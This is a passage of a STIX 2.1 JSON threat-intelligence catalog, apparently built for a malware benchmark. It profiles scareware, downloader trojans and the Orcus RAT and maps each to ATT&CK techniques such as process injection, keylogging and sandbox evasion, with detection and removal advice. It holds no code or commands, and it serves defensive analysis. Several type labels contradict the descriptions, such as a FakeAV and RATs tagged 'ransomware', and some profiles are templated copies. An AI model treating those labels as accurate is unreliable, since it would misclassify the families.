      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Orangedefender",
      "description": "<h3>Executive Summary</h3>\nOrangeDefender is a prominent example of Rogue Security Software (also known as FakeAV or Scareware). It is a highly deceptive program engineered to masquerade as a legitimate, enterprise-grade antivirus solution. Its primary objective is to artificially induce panic by displaying fabricated security alerts, coercing the user into purchasing a useless \"premium\" license to remove non-existent threats.\n\n<h3>Distribution and Deceptive Behavior</h3>\nOrangeDefender is typically distributed via aggressive \"malvertising\" campaigns, deceptive pop-up ads claiming the user's system is already infected, or bundled alongside legitimate software downloaded from untrustworthy third-party repositories.\n\nOnce installed, OrangeDefender relies heavily on psychological manipulation and system interference:\n<ul>\n<li><strong>Fabricated Scans and Alerts:</strong> The software automatically initiates a \"system scan\" immediately upon installation. This scan will invariably \"detect\" dozens of critical malware infections, regardless of the actual state of the system. It constantly bombards the user with high-urgency pop-up warnings and system tray notifications.</li>\n<li><strong>System Crippling:</strong> To force a purchase, OrangeDefender often actively prevents the user from launching legitimate applications (including real antivirus software, Task Manager, or web browsers), falsely claiming that these applications are \"infected\" and must be blocked for the user's safety.</li>\n<li><strong>Extortion via Purchase:</strong> The ultimate goal is to force the user to click a \"Remove Threats\" button, which redirects them to a payment portal to purchase the \"full version\" of OrangeDefender. Payment results in financial loss and often leads to the theft of the user's credit card information.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile OrangeDefender generally does not encrypt files like ransomware or silently steal banking credentials in the background, it is highly disruptive. It renders the infected system practically unusable and represents a significant social engineering threat that preys on end-user fear.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Safe Mode Remediation:</strong> Because OrangeDefender actively blocks legitimate security tools from running, the infected system should be rebooted into \"Safe Mode with Networking.\" In this mode, the fake AV's persistence mechanisms are often bypassed.</li>\n<li><strong>Reputable Anti-Malware Scan:</strong> While in Safe Mode, utilize a trusted, enterprise-grade anti-malware solution (like Malwarebytes or Microsoft Defender Offline) to perform a full system scan and remove the OrangeDefender executables and registry keys.</li>\n<li><strong>User Education:</strong> Organizations must actively train users to recognize scareware tactics and mandate that all security software be deployed and managed centrally by the IT department, rather than installed ad-hoc by end-users.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rogue.OrangeDefender",
        "FakeAV.OrangeDefender",
        "Trojan:Win32/FakeAV"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Orangedefender",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/orangedefender"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--167e9060-063f-584d-86e5-3576e556c70d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0f292bf6-3123-5c05-be58-bb6fc35ce682",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Orangedefender exhibits technique T1489 (Service Stop (Forcefully stopping AV services))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8606e513-f7dd-5bbc-ba06-3b0c93a8e1fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0f292bf6-3123-5c05-be58-bb6fc35ce682",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Orangedefender exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--96ef63b4-a993-5cbd-8590-f243998a077c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0f292bf6-3123-5c05-be58-bb6fc35ce682",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Orangedefender exhibits technique T1491 (Defacement (Displaying fake security warnings / Scareware))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b95c967a-7548-5303-a320-f1e1edb28e44",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Orbus",
      "description": "Trojan:Win32/Orbus is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Orbus</b><br>To an end-user, an Orbus infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Orbus is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Orbus is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Orbus frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Orbus reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Orbus",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/orbus"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--315df69e-4613-52a5-91c1-99e2b1f74d05",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b95c967a-7548-5303-a320-f1e1edb28e44",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Orbus exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--10798d5d-4b1e-51c7-8bd9-f7f76c4c929e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b95c967a-7548-5303-a320-f1e1edb28e44",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Orbus exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5705a11a-991f-5f3c-9274-0edc97cf9baa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b95c967a-7548-5303-a320-f1e1edb28e44",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Orbus exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--112925e3-3e0b-5d38-8765-3d66c2ebbc36",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b95c967a-7548-5303-a320-f1e1edb28e44",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Orbus exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--465ae4bc-c4b8-56fe-a326-26baf9e2d770",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b95c967a-7548-5303-a320-f1e1edb28e44",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Orbus exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fbeadb69-58c9-5371-ba4f-f5a7fc41fad3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Orcus",
      "description": "Orcus RAT (cataloged across security vendors and threat intelligence databases as Backdoor:Win32/Orcus, MSIL/Orcus, and Orcus RAT) is a notorious, modular .NET remote access trojan first surfacing in 2016. Developed by German programmer Vincent Leo Griebel and marketed by Canadian citizen John Paul Revesz under the commercial front 'Orcus Technologies', the tool was ostensibly sold as a legitimate remote administration utility while being advertised and utilized extensively across cybercrime forums. Following an extensive international investigation, Canada's CRTC issued landmark penalties against Orcus Technologies for computer malware distribution. Architecturally, Orcus features an extensible C# plugin system, evasion routines that detect sandbox and virtual machine environments, and scheduled task persistence via 'Orcus Respawner'. Attackers utilize Orcus to log keystrokes, capture webcam footage, record audio, steal browser passwords and cryptocurrency wallets, and launch distributed denial-of-service (DDoS) attacks. (Observed samples in benchmark: 66)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/Orcus",
        "MSIL/Orcus",
        "Orcus RAT",
        "Trojan:MSIL/Orcus"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Orcus",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/orcus"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de40b064-ddfd-573e-9d1c-48de982a0a09",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fbeadb69-58c9-5371-ba4f-f5a7fc41fad3",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Orcus exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c6c20bd6-c61a-58d4-a25a-d513542823a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fbeadb69-58c9-5371-ba4f-f5a7fc41fad3",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Orcus exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--894659a9-ca70-5a0f-8c9d-7202d8b1ca52",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fbeadb69-58c9-5371-ba4f-f5a7fc41fad3",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Orcus exhibits technique T1125 (Video/Audio Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--47f2e170-3b38-5f71-86dd-4c1b64ad646b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fbeadb69-58c9-5371-ba4f-f5a7fc41fad3",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Orcus exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e43e5a7a-80c2-5e05-b283-480f5039ecbf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fbeadb69-58c9-5371-ba4f-f5a7fc41fad3",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Orcus exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--185e5481-bd72-50a6-88b7-5b5bcbc85ea0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Orcusrat",
      "description": "<h3>Executive Summary</h3>\nOrcus RAT is a highly sophisticated, commercially available Remote Access Trojan (RAT). It is controversially marketed and sold on surface-web forums as a legitimate \"Remote Administration Tool\" for system administrators. However, its expansive feature set, stealth capabilities, and use of custom plugins make it a favored weapon for cybercriminals conducting espionage and data theft.\n\n<h3>Technical Capabilities and Architecture</h3>\nOrcus RAT is built on a robust, modular architecture. It utilizes a client-server model where the attacker uses a dedicated administration panel to manage thousands of infected endpoints (clients). \n\nThe RAT provides attackers with granular, unfettered access to the compromised machine. Its core capabilities include:\n<ul>\n<li><strong>Live Surveillance:</strong> Real-time keylogging, remote desktop viewing (VNC-style access), and the ability to secretly activate webcams and microphones to monitor the victim's physical environment.</li>\n<li><strong>System Manipulation:</strong> A comprehensive file manager allowing for the stealthy upload, download, and execution of secondary payloads. It also includes registry editors and task managers to kill security software processes.</li>\n<li><strong>Plugin Extensibility:</strong> Orcus supports custom C# plugins, allowing threat actors to rapidly develop and deploy new capabilities, such as cryptocurrency stealers or specialized ransomware modules, tailored to specific campaigns.</li>\n</ul>\nOrcus RAT typically achieves persistence via scheduled tasks and registry run keys, and employs advanced obfuscation to evade static antivirus signatures.\n\n<h3>Threat Impact</h3>\nAn Orcus RAT infection constitutes a total loss of confidentiality, integrity, and availability on the affected host. It is frequently utilized in targeted corporate espionage, financial fraud, and as an initial access vector for ransomware syndicates.\n\n<h3>Detection and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analytics:</strong> Deploy EDR solutions tuned to detect anomalous behaviors, such as unexpected processes hooking the keyboard (keylogging) or unauthorized applications accessing the webcam.</li>\n<li><strong>Network Monitoring:</strong> Inspect outbound network traffic for the distinct command-and-control (C2) communication patterns utilized by the Orcus server panel, often occurring over non-standard, encrypted ports.</li>\n<li><strong>System Rebuild:</strong> Due to the deep system hooks and the potential for secondary payload deployment, the most secure remediation strategy for an Orcus RAT infection is a complete wipe and re-image of the compromised endpoint.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "RAT.Orcus",
        "Trojan.OrcusRAT",
        "OrcusRemote"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Orcusrat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/orcusrat"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb0a3c24-a865-5250-93f9-e8bbf6fb760a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--185e5481-bd72-50a6-88b7-5b5bcbc85ea0",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Orcusrat exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cca8e0ba-e7a3-5ce5-be73-28b1aede2d76",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--185e5481-bd72-50a6-88b7-5b5bcbc85ea0",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Orcusrat exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f4018ac-0c77-5cd9-b8a6-fc61d7eec7d8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--185e5481-bd72-50a6-88b7-5b5bcbc85ea0",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Orcusrat exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--141dadc9-e124-5845-b411-f5bf9b8c5af6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--185e5481-bd72-50a6-88b7-5b5bcbc85ea0",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Orcusrat exhibits technique T1125 (Video/Audio Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ee7956b0-e434-51e3-b176-5519917e7686",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--185e5481-bd72-50a6-88b7-5b5bcbc85ea0",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Orcusrat exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--da59de1f-db7e-57b2-9fa2-6e4a50ce54af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Orcusrot",
      "description": "Backdoor:Win32/Orcusrot is a detection name associated with variants or heavily customized builds of the 'Orcus RAT'. Originally marketed as a 'Remote Administration Tool' for IT professionals, Orcus was widely abused by threat actors due to its powerful feature set, plugin architecture, and robust evasion capabilities. It provides comprehensive, interactive control over compromised endpoints (`T1059`).<br><br><b>Understanding Orcusrot (Commercial RAT Abuse)</b><br>To an end-user, the infection is entirely invisible. For an incident response team, the presence of Orcusrot indicates a severe breach by an attacker looking for long-term espionage or network pivoting. The 'dual-use' nature of the tool (masquerading as legitimate admin software) sometimes complicates detection by legacy AV solutions.<br><br><b>Execution and Interactive Control Mechanics</b><br>Orcusrot is typically delivered via spearphishing or dropped by initial access brokers. Upon execution, it establishes persistent access, often utilizing DLL Search Order Hijacking (`T1574.001`) or standard Registry Run keys. It establishes an encrypted connection to the C2 server. The attacker gains access to a sophisticated GUI panel allowing them to deploy custom plugins, execute shell commands, manage files, log keystrokes (`T1056.001`), capture webcam/microphone streams (`T1125`), and initiate 'Server Stress Tests' (DDoS functionality) (`T1498.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total loss of system confidentiality and a high likelihood of lateral movement. Host-based IoCs include EDR alerts for anomalous command-line execution (e.g., `cmd.exe` or `powershell.exe` spawning from unexpected parent processes), unauthorized access to credential stores, and the creation of hidden staging directories for exfiltration. Network IoCs include a persistent, encrypted outbound connection to an unknown IP address, with traffic volume spiking when the attacker is actively interacting with the system. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Orcusrot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/orcusrot"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d28924f4-b070-5aa3-aaad-70cc28d546b4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--da59de1f-db7e-57b2-9fa2-6e4a50ce54af",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Orcusrot exhibits technique T1059 (Command and Scripting Interpreter (Providing interactive shell access))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--35c39864-24ea-5a3d-acae-f74f2dc01534",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--da59de1f-db7e-57b2-9fa2-6e4a50ce54af",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Orcusrot exhibits technique T1056.001 (Input Capture: Keylogging (Capturing credentials and sensitive communications))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a4a5c12-10ad-577f-aed6-f870fc24b9d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--da59de1f-db7e-57b2-9fa2-6e4a50ce54af",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Orcusrot exhibits technique T1125 (Video/Audio Capture (Spying on the victim via webcam and microphone))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e23a0276-fce5-5601-95f6-4be5c4c95bdc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--da59de1f-db7e-57b2-9fa2-6e4a50ce54af",
      "target_ref": "attack-pattern--de90bafb-778c-5ec0-a6f3-6def0998c61c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Orcusrot exhibits technique T1498.001 (Network Denial of Service: Direct Network Flood (Using the 'stress test' feature))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9ff04cd0-7073-5167-8901-2c92277d98c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Oremu",
      "description": "<h3>Executive Summary</h3>\nOremu is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nOremu is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Oremu operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Oremu ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Oremu receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nAn Oremu infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Oremu executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Oremu frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Oremu",
        "Downloader.Oremu",
        "Win32/Oremu"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Oremu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/oremu"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1924c697-ad54-5c6f-883c-10ef0bf61d94",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ff04cd0-7073-5167-8901-2c92277d98c4",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oremu exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b0f2c14d-9c59-5882-ad87-68a0b94c6e67",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ff04cd0-7073-5167-8901-2c92277d98c4",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oremu exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--55c49e6e-01d7-541b-8727-02455d5877fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ff04cd0-7073-5167-8901-2c92277d98c4",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Oremu exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8dc8b6db-4485-5719-a6ee-5cdf9f84a5f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Orsam",
      "description": "Trojan:Win32/Orsam is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Orsam</b><br>To an end-user, an Orsam infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Orsam is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Orsam is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Orsam frequently injects its downloading routine into legitimate system processes (like 